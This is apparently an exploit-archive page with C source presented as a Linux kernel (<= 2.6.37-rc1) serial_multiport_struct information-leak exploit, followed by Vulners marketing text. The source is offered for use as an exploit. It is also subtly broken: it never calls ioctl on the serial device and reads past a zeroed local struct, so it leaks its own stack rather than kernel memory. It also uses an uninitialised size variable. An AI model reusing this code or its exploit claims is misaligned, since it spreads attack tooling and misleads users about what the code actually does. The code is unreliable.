/* Linux <= 2.6.37-rc1 serial_multiport_struct Info Leak Exploit
*
* ./splitmilk2 leak 134514859
* [\m/] Linux <= 2.6.37-rc1 serial_multiport_struct Info Leak Exploit
* [\m/] by Todor Donev
* [x] Leakfile : leak
* [x] Reservedsize : 134514859
* [+] Leaking.. =)
* ...
*
*
* Greets to prdelka,
* for splitmilk.c release, Linux <= 2.6.37-rc1 serial_core TIOCGICOUNT leak exploit
*
* Thanks to Tsvetelina Emirska,
* that support, respect and inspire me..
*
* Yes, I know thats lame, but I was so bored and lazy for better.
*
* Author: Todor Donev
* Author email: [todor.donev@gmail]
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <termios.h>
#include <linux/serial.h>
#define DEVICE "/dev/ttyS1"
int main(int argc, char* argv[]) {
int ret = 0;
int i, fd, reservedsize;
char* buf;
struct serial_multiport_struct buffer;
printf("[\\m/] Linux <= 2.6.37-rc1 serial_multiport_struct Info Leak Exploit\n");
printf("[\\m/] by Todor Donev\n");
fd = open(DEVICE, O_RDONLY);
if (fd <0) {
printf("[-] Error: f0k\n");
exit(-1);
}
if (argc < 2) {
fprintf(stderr, "[!] usg: %s <leakfile> <reservedsize>\n", argv[0]);
exit(-1);
}
if (argc > 2)
if ((reservedsize = atoi(argv[2])) == 0) {
fprintf(stderr, " [-] Sorry: (atoi) invalid outsize\n");
exit(-1);
}
fprintf(stderr, " [x] Leakfile: %s\n", argv[1]);
fprintf(stderr, " [x] Reservedsize: %u\n", reservedsize);
if ((buf = (char *)malloc(reservedsize)) == NULL) {
perror("Sorry: (malloc)");
fprintf(stderr, " [-] Sorry: Try again with other output size\n");
exit(1);
}
memset(&buffer,0,sizeof(buffer));
printf("[+] Leaking.. =)\n");
if((fd = open(argv[1], O_RDWR | O_CREAT, 0640)) == -1){
printf("[-] Error: f0k =(\n");
exit(-1);
}
for(i=0;i<=reservedsize;i++){
ret += write(fd,&buffer.reserved[i],sizeof(int));
}
close(fd);
printf("\\o/ %d bytez\n",ret);
exit(0);
}Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation